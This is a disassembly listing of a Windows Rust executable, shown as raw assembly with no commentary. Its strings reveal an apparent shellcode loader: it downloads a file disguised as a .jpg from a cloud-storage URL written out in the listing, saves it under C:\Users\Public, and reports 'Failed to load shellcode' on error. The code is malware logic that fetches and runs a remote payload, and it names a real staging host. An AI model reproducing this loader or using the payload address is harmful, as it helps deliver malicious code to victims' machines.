mov rax, qword [rbp + 0x2800]
mov qword [rbp + 0x23d0], rax
movdqa xmm0, xmmword [rbp + 0x27e0]
movdqa xmm1, xmmword [rbp + 0x27f0]
movdqa xmmword [rbp + 0x23c0], xmm1
movdqa xmmword [rbp + 0x23b0], xmm0
movdqa xmmword [rbp + 0x2710], xmm1
movdqa xmmword [rbp + 0x2700], xmm0
call fcn.140048b10
lea rcx, [rbp + 0x2498]
lea rdx, [rbp + 0x2840]
call fcn.140017970
mov word [rbp + 0x2928], ax
movzx eax, ax
movzx esi, word [rbp + 0x24b0]
mov ebx, esi
mov dword [rbp + 0x2904], eax
and ebx, eax
mov r12, qword [rbp + 0x2458]
mov r14, qword [rbp + 0x2460]
mov rdi, qword [rbp + 0x2478]
mov r10, qword [rbp + 0x2470]
mov r11, qword [rbp + 0x2858]
movzx eax, byte [rbp + 0x2840]
mov byte [rbp + 0x2920], al
mov rax, qword [rbp + 0x2840]
mov qword [rbp + 0x28f8], rax
mov r8, qword [rbp + 0x2848]
xor r15d, r15d
mov qword [rbp + 0x2878], r10
mov qword [rbp + 0x2880], r11
mov qword [rbp + 0x2918], r8
jmp 0x14010a960
movzx ecx, byte [rbp + 0x2920]
cmp byte [rax], cl
je 0x14010aa2b
inc r15
inc rbx
mov rax, rbx
nop word cs:[rax + rax]
mov rbx, rax
mov eax, 0
cmp rbx, r14
jae 0x14010a970
movzx r13d, word [r12 + rbx*4]
cmp r13, 0xffff
je 0x14010ab36
movzx eax, word [r12 + rbx*4 + 2]
mov ecx, esi
and ecx, eax
mov edx, ebx
sub edx, ecx
and edx, esi
cmp rdx, r15
jb 0x14010ac32
cmp ax, word [rbp + 0x2928]
jne 0x14010a95a
cmp rdi, r13
jbe 0x14010af27
test r11, r11
sete al
imul r9, r13, 0x68
mov rcx, qword [r10 + r9 + 0x18]
test rcx, rcx
setne dl
cmp dl, al
je 0x14010a95a
lea rax, [r10 + r9]
test rcx, rcx
je 0x14010a94b
cmp qword [rax + 8], r8
jne 0x14010a95a
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x28f8]
mov r8, qword [rbp + 0x2918]
mov qword [rbp + 0x2908], r9
call fcn.140111910
mov r9, qword [rbp + 0x2908]
mov r8, qword [rbp + 0x2918]
mov r11, qword [rbp + 0x2880]
mov r10, qword [rbp + 0x2878]
test eax, eax
jne 0x14010a95a
lea rcx, [rbp + 0x2480]
lea r12, [r10 + r9]
add r12, 0x48
cmp qword [r10 + r9 + 0x48], 0
je 0x14010ae41
mov qword [rbp + 0x2908], r9
mov rsi, qword [r10 + r9 + 0x58]
mov rdi, qword [rbp + 0x2490]
mov rdx, rdi
cmp rdi, qword [rbp + 0x2480]
mov r15, qword [rbp + 0x2930]
jne 0x14010aa8d
mov rdx, rdi
mov rbx, r12
mov r14, r10
mov r12, r11
call fcn.140077340
mov r11, r12
mov r10, r14
mov r12, rbx
mov rdx, qword [rbp + 0x2490]
mov rax, qword [rbp + 0x2488]
lea rcx, [rdx + rdx*8]
mov qword [rax + rcx*8], 1
mov qword [rax + rcx*8 + 8], rsi
mov qword [rax + rcx*8 + 0x10], 0
mov qword [rax + rcx*8 + 0x18], r13
movdqa xmm0, xmmword [rbp + 0x2700]
movdqa xmm1, xmmword [rbp + 0x2710]
movdqu xmmword [rax + rcx*8 + 0x20], xmm0
movdqu xmmword [rax + rcx*8 + 0x30], xmm1
mov byte [rax + rcx*8 + 0x40], 1
lea r9, [rbp + 0x23d1]
mov r8d, dword [r9]
mov r9d, dword [r9 + 3]
mov dword [rax + rcx*8 + 0x41], r8d
mov dword [rax + rcx*8 + 0x44], r9d
inc rdx
mov qword [rbp + 0x2490], rdx
cmp rsi, rdx
jae 0x14010b401
mov rax, qword [rbp + 0x2908]
add rax, r10
add rax, 0x58
mov rcx, qword [rbp + 0x2488]
lea rdx, [rsi + rsi*8]
mov qword [rcx + rdx*8 + 0x10], 1
mov qword [rcx + rdx*8 + 0x18], rdi
mov qword [r12], 1
mov qword [rax], rdi
jmp 0x14010aef9
cmp rdi, 0x7fff
ja 0x14010b465
movaps xmm0, xmmword [rbp + 0x2840]
movaps xmm1, xmmword [rbp + 0x2850]
movaps xmmword [rbp - 0x40], xmm1
movaps xmmword [rbp - 0x50], xmm0
movaps xmm0, xmmword [rbp + 0x2700]
movaps xmm1, xmmword [rbp + 0x2710]
movaps xmmword [rbp - 0x30], xmm0
movaps xmmword [rbp - 0x20], xmm1
mov rax, rdi
cmp rdi, qword [rbp + 0x2468]
mov r15, qword [rbp + 0x2930]
jne 0x14010aba6
lea rcx, [rbp + 0x2468]
mov rdx, rdi
call fcn.140019630
mov rax, qword [rbp + 0x2478]
mov r14, qword [rbp + 0x2460]
mov r10, qword [rbp + 0x2470]
imul rcx, rax, 0x68
movdqa xmm0, xmmword [rbp - 0x50]
movdqa xmm1, xmmword [rbp - 0x40]
movaps xmm2, xmmword [rbp - 0x30]
movaps xmm3, xmmword [rbp - 0x20]
movups xmmword [r10 + rcx + 0x30], xmm3
movups xmmword [r10 + rcx + 0x20], xmm2
movdqu xmmword [r10 + rcx + 0x10], xmm1
movdqu xmmword [r10 + rcx], xmm0
mov byte [r10 + rcx + 0x40], 1
lea r8, [rbp + 0x23d1]
mov edx, dword [r8]
mov r8d, dword [r8 + 3]
mov dword [r10 + rcx + 0x41], edx
mov dword [r10 + rcx + 0x44], r8d
mov qword [r10 + rcx + 0x48], 0
mov edx, dword [rbp + 0x2904]
mov word [r10 + rcx + 0x60], dx
inc rax
mov qword [rbp + 0x2478], rax
cmp rbx, r14
jae 0x14010af9e
mov ecx, edx
mov rax, qword [rbp + 0x2458]
mov word [rax + rbx*4], di
mov word [rax + rbx*4 + 2], cx
jmp 0x14010adad
cmp r15, 0x200
setae sil
cmp qword [rbp + 0x2498], 2
setne r15b
cmp rdi, 0x7fff
ja 0x14010b465
movaps xmm0, xmmword [rbp + 0x2840]
movaps xmm1, xmmword [rbp + 0x2850]
movaps xmmword [rbp - 0x40], xmm1
movaps xmmword [rbp - 0x50], xmm0
movaps xmm0, xmmword [rbp + 0x2700]
movaps xmm1, xmmword [rbp + 0x2710]
movaps xmmword [rbp - 0x30], xmm0
movaps xmmword [rbp - 0x20], xmm1
mov rax, rdi
cmp rdi, qword [rbp + 0x2468]
jne 0x14010acb9
lea rcx, [rbp + 0x2468]
mov rdx, rdi
call fcn.140019630
mov rax, qword [rbp + 0x2478]
mov r10, qword [rbp + 0x2470]
mov r12, qword [rbp + 0x2458]
mov r14, qword [rbp + 0x2460]
and sil, r15b
imul rcx, rax, 0x68
movdqa xmm0, xmmword [rbp - 0x50]
movdqa xmm1, xmmword [rbp - 0x40]
movaps xmm2, xmmword [rbp - 0x30]
movaps xmm3, xmmword [rbp - 0x20]
movups xmmword [r10 + rcx + 0x30], xmm3
movups xmmword [r10 + rcx + 0x20], xmm2
movdqu xmmword [r10 + rcx + 0x10], xmm1
movdqu xmmword [r10 + rcx], xmm0
mov byte [r10 + rcx + 0x40], 1
lea r8, [rbp + 0x23d1]
mov edx, dword [r8]
mov r8d, dword [r8 + 3]
mov dword [r10 + rcx + 0x41], edx
mov dword [r10 + rcx + 0x44], r8d
mov qword [r10 + rcx + 0x48], 0
mov r9d, dword [rbp + 0x2904]
mov word [r10 + rcx + 0x60], r9w
inc rax
mov qword [rbp + 0x2478], rax
xor eax, eax
mov r15, qword [rbp + 0x2930]
nop word cs:[rax + rax]
mov rcx, rbx
mov ebx, 0
cmp rcx, r14
jae 0x14010ad40
movzx edx, word [r12 + rcx*4]
cmp dx, 0xffff
je 0x14010ad79
inc rax
movzx r8d, word [r12 + rcx*4 + 2]
mov word [r12 + rcx*4], di
mov word [r12 + rcx*4 + 2], r9w
inc rcx
mov r9d, r8d
mov edi, edx
mov rbx, rcx
jmp 0x14010ad40
mov word [r12 + rcx*4], di
mov word [r12 + rcx*4 + 2], r9w
mov rcx, qword [rbp + 0x2498]
test rcx, rcx
mov edx, 1
cmovne rdx, rcx
cmp rax, 0x7f
cmova rcx, rdx
test sil, sil
cmovne rcx, rdx
mov qword [rbp + 0x2498], rcx
lea rbx, [rbp + 0x2460]
mov rsi, qword [rbp + 0x2440]
mov r14d, dword [rbp + 0x2448]
mov rax, qword [rbp + 0x2450]
mov qword [rbp + 0x2918], rax
mov rdi, qword [rbp + 0x2458]
lea rcx, [rbp + 0x1fb0]
mov r8d, 0xd8
mov rdx, rbx
call fcn.140110cd0
mov r13, qword [rbp + 0x2538]
movups xmm0, xmmword [rbp + 0x2540]
movaps xmmword [rbp + 0x2350], xmm0
movdqu xmm0, xmmword [rbp + 0x2550]
movdqa xmmword [rbp + 0x2360], xmm0
mov rax, qword [rbp + 0x2560]
mov qword [rbp + 0x2370], rax
mov rbx, qword [rbp + 0x2568]
mov r12, qword [rbp + 0x2570]
mov rax, qword [rbp + 0x2578]
movdqu xmm6, xmmword [rbp + 0x2580]
jmp 0x1401094a0
mov rbx, r9
mov rsi, qword [rbp + 0x2490]
mov rax, rsi
cmp rsi, qword [rbp + 0x2480]
mov r15, qword [rbp + 0x2930]
jne 0x14010ae79
mov rdx, rsi
mov rdi, r10
mov r14, r11
call fcn.140077340
mov r11, r14
mov r10, rdi
mov rax, qword [rbp + 0x2490]
mov rcx, qword [rbp + 0x2488]
lea rdx, [rax + rax*8]
mov qword [rcx + rdx*8], 0
mov qword [rcx + rdx*8 + 8], r13
mov qword [rcx + rdx*8 + 0x10], 0
mov qword [rcx + rdx*8 + 0x18], r13
movaps xmm0, xmmword [rbp + 0x2700]
movdqa xmm1, xmmword [rbp + 0x2710]
movups xmmword [rcx + rdx*8 + 0x20], xmm0
movdqu xmmword [rcx + rdx*8 + 0x30], xmm1
mov byte [rcx + rdx*8 + 0x40], 1
lea r9, [rbp + 0x23d1]
mov r8d, dword [r9]
mov r9d, dword [r9 + 3]
mov dword [rcx + rdx*8 + 0x41], r8d
mov dword [rcx + rdx*8 + 0x44], r9d
inc rax
mov qword [rbp + 0x2490], rax
mov qword [r12], 1
movq xmm0, rsi
pshufd xmm0, xmm0, 0x44
movdqu xmmword [r10 + rbx + 0x50], xmm0
mov r8, qword [rbp + 0x2918]
test r11, r11
lea rbx, [rbp + 0x2460]
je 0x14010adb4
lea rcx, [rbp + 0x2850]
mov rdx, qword [rbp + 0x28f8]
call qword [r11 + 0x10]
jmp 0x14010adb4
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.9_srcheadermap.rs_
mov rcx, r13
mov rdx, rdi
call fcn.14011e090
ud2
mov rax, qword [rdi + 0x40]
nop
mov rcx, rax
or rcx, 4
lock cmpxchg qword [rdi + 0x40], rcx
jne 0x14010af40
and eax, 0xa
cmp eax, 8
jne 0x14010af77
mov rcx, qword [rdi + 0x20]
mov rax, qword [rdi + 0x28]
call qword [rax + 0x10]
lock dec qword [rdi]
je 0x14010af7d
mov rcx, r12
call fcn.140077cf0
call fcn.140122ee0
ud2
lock dec qword [rdi]
jne 0x14010af68
mov rcx, rdi
call fcn.1400c6de0
mov rcx, r12
call fcn.140077cf0
call fcn.140122ee0
ud2
mov ecx, 0xd0
jmp 0x14010b497
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.9_srcheadermap.rs_
mov rcx, rbx
jmp 0x14010ecd0
mov ecx, 0x2320
jmp 0x14010b497
mov ecx, 0x88
jmp 0x14010b497
mov ecx, 0x48
jmp 0x14010b497
mov ecx, 0x1d
mov edx, 1
call fcn.14011dd70
ud2
mov ecx, 0x1c0
jmp 0x14010b497
mov qword [rbp + 0x2590], rdx
mov qword [rbp + 0x2598], 0x1d
mov qword [rbp + 0x25a0], rbx
mov qword [rbp + 0x25a8], 0x1d
lea rax, [0x14015ecf0]
mov qword [rsp + 0x20], rax
lea rcx, str.thread_name_may_not_contain_interior_null_bytes
lea r9, [0x140155718]
lea r8, [rbp + 0x2590]
mov edx, 0x2f
call fcn.14011e350
ud2
lock dec qword [r14]
jne 0x14010b045
mov rcx, r14
call fcn.1400c5c90
lock dec qword [r12]
jne 0x14010b054
mov rcx, r12
call fcn.1400c5c30
mov rcx, rbx
call fcn.14008be00
mov r13, rax
mov rax, qword [rdi + 0x40]
nop word cs:[rax + rax]
mov rcx, rax
or rcx, 4
lock cmpxchg qword [rdi + 0x40], rcx
jne 0x14010b070
and eax, 0xa
cmp eax, 8
jne 0x14010b092
mov rcx, qword [rdi + 0x20]
mov rax, qword [rdi + 0x28]
call qword [rax + 0x10]
lock dec qword [rdi]
jne 0x14010b0d2
mov rcx, rdi
call fcn.1400c6de0
jmp 0x14010b0d2
mov rcx, rbx
call qword [sym.imp.kernel32.dll_CloseHandle]
mov rax, qword [rbp + 0x2928]
lock dec qword [rax]
jne 0x14010b0c4
mov rcx, qword [rbp + 0x2928]
call fcn.1400c5c30
lock dec qword [r14]
jne 0x14010b0d2
mov rcx, r14
call fcn.1400c5c90
lea rax, [rsi + 0x80]
lock dec qword [rax]
jne 0x14010b142
mov rcx, rsi
add rcx, 0x50
mov edx, 1
lock xadd qword [rsi + 0x58], rdx
call fcn.1400cd810
movabs rcx, 0x200000000
lock or qword [rax + 0x2310], rcx
mov rax, qword [rsi + 0x78]
nop dword [rax]
mov rcx, rax
or rcx, 2
lock cmpxchg qword [rsi + 0x78], rcx
jne 0x14010b110
test rax, rax
jne 0x14010b142
mov rcx, qword [rsi + 0x68]
mov rax, qword [rsi + 0x70]
mov qword [rsi + 0x70], 0
lock and qword [rsi + 0x78], 0xfffffffffffffffd
test rax, rax
je 0x14010b142
call qword [rax + 8]
lock dec qword [rsi]
jne 0x14010b150
mov rcx, rsi
call fcn.1400c6d20
mov qword [rbp - 0x50], r13
lea rax, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.18_src_blockingclient.rs
mov qword [rsp + 0x20], rax
lea rcx, str.Client::new__
lea r9, [0x140153f60]
lea r8, [rbp - 0x50]
mov edx, 0xd
call fcn.14011e350
ud2
add rcx, 0x10
xor edx, edx
call fcn.1400e04d0
lea rax, str.too_many_running_threads_in_thread_scope
mov qword [rbp + 0x25a0], rax
mov qword [rbp + 0x25a8], 1
mov qword [rbp + 0x2590], 0
lea rax, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64_0.12.3_srcdecode.rs
mov qword [rbp + 0x25b0], rax
mov qword [rbp + 0x25b8], 0
lea rdx, str.library_std_src_thread_scoped.rs
lea rcx, [rbp + 0x2590]
call fcn.14011e050
ud2
lea rcx, [0x1401543cd]
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.18_src_blockingclient.rs
mov edx, 0x18
call fcn.14011e3f0
ud2
call fcn.1400029b0
ud2
mov edx, 2
jmp 0x14010b4a3
test bl, bl
jne 0x14010b223
mov rax, qword [rbp + 0x2928]
lock dec qword [rax]
jne 0x14010b223
mov rcx, qword [rbp + 0x2928]
call fcn.1400e6e30
lea rax, [0x14015a550]
mov qword [rsp + 0x20], rax
lea rcx, str.cannot_access_a_Thread_Local_Storage_value_during_or_after_destruction_rustc_90c541806f23a127002de5b4038be731ba1458calibrary_std_src_threadlocal.rs
lea r9, [0x14015a2c8]
lea r8, [rbp + 0x27c0]
mov edx, 0x46
call fcn.14011e350
ud2
movaps xmm0, xmmword [rbp + 0x2490]
movaps xmmword [rbp], xmm0
movaps xmm0, xmmword [rbp + 0x2480]
movaps xmmword [rbp - 0x10], xmm0
movaps xmm0, xmmword [rbp + 0x2440]
movaps xmm1, xmmword [rbp + 0x2450]
movaps xmm2, xmmword [rbp + 0x2460]
movaps xmm3, xmmword [rbp + 0x2470]
movaps xmmword [rbp - 0x20], xmm3
movaps xmmword [rbp - 0x30], xmm2
movaps xmmword [rbp - 0x40], xmm1
movaps xmmword [rbp - 0x50], xmm0
mov rax, qword [rbp + 0x2928]
mov qword [rbp + 0x10], rax
mov dword [rbp + 0x18], r15d
mov eax, dword [rbp + 0x2860]
mov dword [rbp + 0x3c], eax
movaps xmm0, xmmword [rbp + 0x2840]
movaps xmm1, xmmword [rbp + 0x2850]
movups xmmword [rbp + 0x1c], xmm0
movups xmmword [rbp + 0x2c], xmm1
mov qword [rbp + 0x40], rdi
mov qword [rbp + 0x48], rbx
mov eax, dword [rbp + 0x28e4]
mov dword [rbp + 0x50], eax
mov eax, dword [rbp + 0x28e0]
mov dword [rbp + 0x54], eax
mov eax, dword [rbp + 0x28d8]
mov dword [rbp + 0x58], eax
mov eax, dword [rbp + 0x28d4]
mov dword [rbp + 0x5c], eax
mov eax, dword [rbp + 0x2904]
mov dword [rbp + 0x60], eax
mov eax, dword [rbp + 0x2880]
mov dword [rbp + 0x64], eax
mov eax, dword [rbp + 0x2878]
mov dword [rbp + 0x68], eax
mov eax, dword [rbp + 0x28f8]
mov dword [rbp + 0x6c], eax
mov eax, dword [rbp + 0x28dc]
mov dword [rbp + 0x70], eax
movzx eax, word [rbp + 0x2916]
mov word [rbp + 0x74], ax
movzx eax, word [rbp + 0x2914]
mov word [rbp + 0x76], ax
movaps xmm0, xmmword [rbp + 0x2890]
movups xmmword [rbp + 0x78], xmm0
movzx eax, byte [rbp + 0x28a0]
mov byte [rbp + 0x88], al
mov eax, dword [rbp + 0x2783]
mov dword [rbp + 0x8c], eax
mov eax, dword [rbp + 0x2780]
mov dword [rbp + 0x89], eax
mov qword [rbp + 0x90], rcx
mov rax, qword [rbp + 0x2800]
mov qword [rbp + 0xb8], rax
movaps xmm0, xmmword [rbp + 0x27e0]
movaps xmm1, xmmword [rbp + 0x27f0]
movups xmmword [rbp + 0xa8], xmm1
movups xmmword [rbp + 0x98], xmm0
mov qword [rbp + 0xc0], rsi
lea rax, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.18_src_blockingclient.rs
mov qword [rsp + 0x20], rax
lea rcx, [0x1401543e5]
lea r9, str.0i_a_
lea r8, [rbp - 0x50]
mov edx, 0x14
call fcn.14011e350
ud2
lea rax, str.overflow_in_Duration::new
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], 1
mov qword [rbp - 0x50], 0
lea rax, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64_0.12.3_srcdecode.rs
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], 0
lea rdx, str._rustc_90c541806f23a127002de5b4038be731ba1458calibrarycore_src_time.rs_
lea rcx, [rbp - 0x50]
call fcn.14011e050
ud2
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.9_srcheadermap.rs_
mov rcx, rsi
call fcn.14011e090
ud2
lea rax, [0x140152f90]
mov qword [rsp + 0x20], rax
lea rcx, [0x140152ee5]
jmp 0x14010b43a
lea rax, [0x140152fd8]
mov qword [rsp + 0x20], rax
lea rcx, str.has_authority_means_set_password_shouldnt_fail
lea r9, [0x140152a78]
lea r8, [rbp + 0x27c0]
mov edx, 0x2f
call fcn.14011e350
ud2
mov ecx, 6
mov edx, 1
call fcn.14011dd70
ud2
lea rcx, str.header_map_at_capacity
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.9_srcheadermap.rs_
mov edx, 0x16
call fcn.1401230f0
ud2
mov ecx, 7
int 0x29
ud2
mov edx, 1
mov rcx, r15
call fcn.14011dd70
ud2
mov edx, 8
call fcn.14011dd70
ud2
mov rcx, rsi
call fcn.14011dd70
ud2
mov ecx, 0x30
jmp 0x14010b497
mov ecx, 0x18
jmp 0x14010b497
cmp r12d, 4
jne 0x14010ce8d
test r15, r15
je 0x14010d05b
movaps xmm0, xmmword [rbp + 0x27a0]
movaps xmmword [rbp - 0x50], xmm0
movzx eax, byte [rbp + 0x27b0]
mov byte [rbp - 0x40], al
mov eax, dword [rbp + 0x27e0]
mov edx, dword [rbp + 0x27e3]
mov dword [rbp + 0x2593], edx
mov dword [rbp + 0x2590], eax
cmp dword [r15 + 0x28], 2
je 0x14010cb03
cmp qword [r15 + 0x10], 0
je 0x14010cb03
mov r8, qword [r15 + 0x18]
mov rcx, qword [0x140195bd0]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [rbp + 0x2918]
mov rax, qword [rbp + 0x2770]
mov qword [r15 + 0x10], rax
mov rdx, qword [rbp + 0x2778]
mov qword [r15 + 0x18], rdx
mov qword [r15 + 0x20], rax
mov eax, dword [rbp + 0x28e4]
mov dword [r15 + 0x28], eax
mov eax, dword [rbp + 0x28e0]
mov dword [r15 + 0x2c], eax
mov eax, dword [rbp + 0x28d8]
mov dword [r15 + 0x30], eax
mov eax, dword [rbp + 0x28d4]
mov dword [r15 + 0x34], eax
mov eax, dword [rbp + 0x2904]
mov dword [r15 + 0x38], eax
mov eax, dword [rbp + 0x2880]
mov dword [r15 + 0x3c], eax
mov eax, dword [rbp + 0x2878]
mov dword [r15 + 0x40], eax
mov eax, dword [rbp + 0x28f8]
mov dword [r15 + 0x44], eax
mov eax, dword [rbp + 0x28dc]
mov dword [r15 + 0x48], eax
movzx eax, word [rbp + 0x2916]
mov word [r15 + 0x4c], ax
movzx eax, word [rbp + 0x2914]
mov word [r15 + 0x4e], ax
movdqa xmm0, xmmword [rbp - 0x50]
movdqu xmmword [r15 + 0x50], xmm0
movzx eax, byte [rbp - 0x40]
mov byte [r15 + 0x60], al
mov eax, dword [rbp + 0x2590]
mov edx, dword [rbp + 0x2593]
mov dword [r15 + 0x61], eax
mov dword [r15 + 0x64], edx
mov rdi, r15
mov r12d, 3
lock dec qword [rcx]
jne 0x14010cbd1
call fcn.1400c73f0
mov rcx, qword [rbp + 0x2918]
cmp r12d, 3
jne 0x14010cc71
mov r15, qword [rbp + 0x2930]
mov rcx, qword [0x140195bd0]
test rcx, rcx
jne 0x14010cc07
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x14010ec98
mov rcx, rax
mov qword [0x140195bd0], rax
mov r8d, 8
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x14010ec98
mov rbx, rax
mov qword [rax], rdi
lea rsi, [0x140184318]
lock dec qword [r15]
jne 0x14010cc39
mov rcx, r15
call fcn.140001320
mov rax, rbx
mov rdx, rsi
movaps xmm6, xmmword [rbp + 0x2940]
movaps xmm7, xmmword [rbp + 0x2950]
movaps xmm8, xmmword [rbp + 0x2960]
movaps xmm9, xmmword [rbp + 0x2970]
add rsp, 0x2a08
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov qword [rbp + 0x20a0], rsi
mov dword [rbp + 0x20a8], r14d
mov qword [rbp + 0x20b0], rcx
mov qword [rbp + 0x20b8], r15
movaps xmm0, xmmword [rbp + 0x2230]
movaps xmm1, xmmword [rbp + 0x2240]
movaps xmm2, xmmword [rbp + 0x2250]
movaps xmm3, xmmword [rbp + 0x2260]
movups xmmword [rbp + 0x20c0], xmm0
movups xmmword [rbp + 0x20d0], xmm1
movups xmmword [rbp + 0x20e0], xmm2
movups xmmword [rbp + 0x20f0], xmm3
movaps xmm0, xmmword [rbp + 0x2270]
movups xmmword [rbp + 0x2100], xmm0
mov rax, qword [rbp + 0x2280]
mov qword [rbp + 0x2110], rax
movdqa xmm0, xmmword [rbp + 0x2290]
movdqa xmm1, xmmword [rbp + 0x22a0]
movaps xmm2, xmmword [rbp + 0x22b0]
movdqu xmmword [rbp + 0x2120], xmm0
movdqu xmmword [rbp + 0x2130], xmm1
movups xmmword [rbp + 0x2140], xmm2
mov qword [rbp + 0x2090], rdi
mov qword [rbp + 0x2118], r12
mov eax, 0xffffff38
add eax, dword [rbp + 0x2140]
cmp ax, 0x64
jae 0x14010cda5
mov rdi, qword [rbp + 0x2760]
lea rcx, [rdi*4]
movabs rdx, 0xaaaaaaaaaaaaaaab
mov rax, rcx
mul rdx
mov rsi, rdx
shr rsi, 1
test rcx, rcx
mov r15, qword [rbp + 0x2930]
je 0x14010cfaf
mov rcx, qword [0x140195bd0]
test rcx, rcx
jne 0x14010cd84
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x14010cd9b
mov rcx, rax
mov qword [0x140195bd0], rax
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapAlloc]
mov r13, rax
test rax, rax
jne 0x14010cfb5
mov edx, 1
jmp 0x14010b4a3
mov rcx, qword [0x140195bd0]
test rcx, rcx
mov r15, qword [rbp + 0x2930]
jne 0x14010cdd1
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x14010ed05
mov rcx, rax
mov qword [0x140195bd0], rax
mov r8d, 0x17
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x14010ed05
mov rsi, rax
movdqu xmm0, xmmword [str.Failed_to_download_fileC:_Users_Public_Documents_md.jpgC:_Users_Public_md.jpghttps:__3_9.oss_cn_hangzhou.aliyuncs.com_3184.jpgFailed_to_load_shellcode1srcmain.rs]
movdqu xmmword [rax], xmm0
movabs rax, 0x656c69662064616f
mov qword [rsi + 0xf], rax
mov qword [rbp - 0x50], 0x17
mov qword [rbp - 0x48], rsi
mov qword [rbp - 0x40], 0x17
mov rcx, qword [0x140195bd0]
test rcx, rcx
jne 0x14010ce3e
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x14010ed16
mov rcx, rax
mov qword [0x140195bd0], rax
mov r8d, 0x18
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x14010ed16
mov rbx, rax
mov qword [rax], 0x17
mov qword [rax + 8], rsi
mov qword [rax + 0x10], 0x17
lea rcx, [rbp + 0x2090]
call fcn.14010f450
lock dec qword [r15]
lea rsi, fcn.140002a60
je 0x14010cc31
jmp 0x14010cc39
mov rax, qword [rbp + 0x2750]
mov qword [rbp], rax
movaps xmm0, xmmword [rbp + 0x2740]
movaps xmmword [rbp - 0x10], xmm0
movaps xmm0, xmmword [rbp + 0x2700]
movaps xmm1, xmmword [rbp + 0x2710]
movaps xmm2, xmmword [rbp + 0x2720]
movaps xmm3, xmmword [rbp + 0x2730]
movaps xmmword [rbp - 0x20], xmm3
movaps xmmword [rbp - 0x30], xmm2
movaps xmmword [rbp - 0x40], xmm1
movaps xmmword [rbp - 0x50], xmm0
movaps xmm0, xmmword [rbp + 0x2410]
movaps xmm1, xmmword [rbp + 0x2420]
movaps xmm2, xmmword [rbp + 0x2430]
movaps xmmword [rbp + 0x2590], xmm0
movaps xmmword [rbp + 0x25a0], xmm1
movaps xmmword [rbp + 0x25b0], xmm2
lock inc qword [rcx]
jle 0x14010ec94
mov rax, qword [rbp]
mov qword [rbp + 0x2280], rax
movaps xmm0, xmmword [rbp - 0x10]
movaps xmmword [rbp + 0x2270], xmm0
movaps xmm0, xmmword [rbp - 0x50]
movaps xmm1, xmmword [rbp - 0x40]
movaps xmm2, xmmword [rbp - 0x30]
movaps xmm3, xmmword [rbp - 0x20]
movaps xmmword [rbp + 0x2260], xmm3
movaps xmmword [rbp + 0x2250], xmm2
movaps xmmword [rbp + 0x2240], xmm1
movaps xmmword [rbp + 0x2230], xmm0
movdqa xmm0, xmmword [rbp + 0x2590]
movdqa xmm1, xmmword [rbp + 0x25a0]
movaps xmm2, xmmword [rbp + 0x25b0]
movdqa xmmword [rbp + 0x2290], xmm0
movdqa xmmword [rbp + 0x22a0], xmm1
movaps xmmword [rbp + 0x22b0], xmm2
cmp qword [rbp + 0x2770], 0
je 0x14010d1a6
mov rcx, qword [0x140195bd0]
xor edi, edi
xor edx, edx
mov r8, qword [rbp + 0x2778]
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [rbp + 0x2918]
lock dec qword [rcx]
jne 0x14010cbd1
jmp 0x14010cbc5
mov r13d, 1
mov qword [rbp + 0x2440], rsi
mov qword [rbp + 0x2448], r13
mov qword [rbp + 0x2450], 0
mov rax, rdi
add rax, 7
jb 0x14010ed9f
mov r8, rax
shr r8, 3
lea rcx, [r8 + r8]
lea r14, [rcx + rcx*2]
cmp rax, 8
jb 0x14010d026
mov r12, r8
cmp rsi, r14
jb 0x14010dc5f
xor esi, esi
lea rcx, [rsi + r13]
lea r8, [r14 - 1]
xor edx, edx
call fcn.140111a10
add r14, rsi
dec r14
mov byte [r13 + r14], 0
inc r14
mov r13, qword [rbp + 0x2448]
mov r8, r12
mov qword [rbp + 0x2450], r14
mov eax, edi
and eax, 7
cmp rax, 5
ja case.default.0x14010d04f
mov edx, 1
lea rcx, [0x14010f400]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov eax, 8
jmp case.default.0x14010d04f
mov rcx, qword [0x140195bd0]
test rcx, rcx
jne 0x14010d080
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x14010eca2
mov rcx, rax
mov qword [0x140195bd0], rax
mov r8d, 0x70
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x14010eca2
mov rdi, rax
mov qword [rax], 1
lea rax, [0x140155f70]
mov qword [rdi + 8], rax
mov dword [rdi + 0x28], 2
mov word [rdi + 0x68], 1
mov eax, dword [rbp + 0x27e0]
mov dword [rbp + 0x2590], eax
mov eax, dword [rbp + 0x27e3]
mov dword [rbp + 0x2593], eax
movzx eax, byte [rbp + 0x27b0]
mov byte [rbp - 0x40], al
movaps xmm0, xmmword [rbp + 0x27a0]
movaps xmmword [rbp - 0x50], xmm0
mov rax, qword [rbp + 0x2770]
mov qword [rdi + 0x10], rax
mov rcx, qword [rbp + 0x2778]
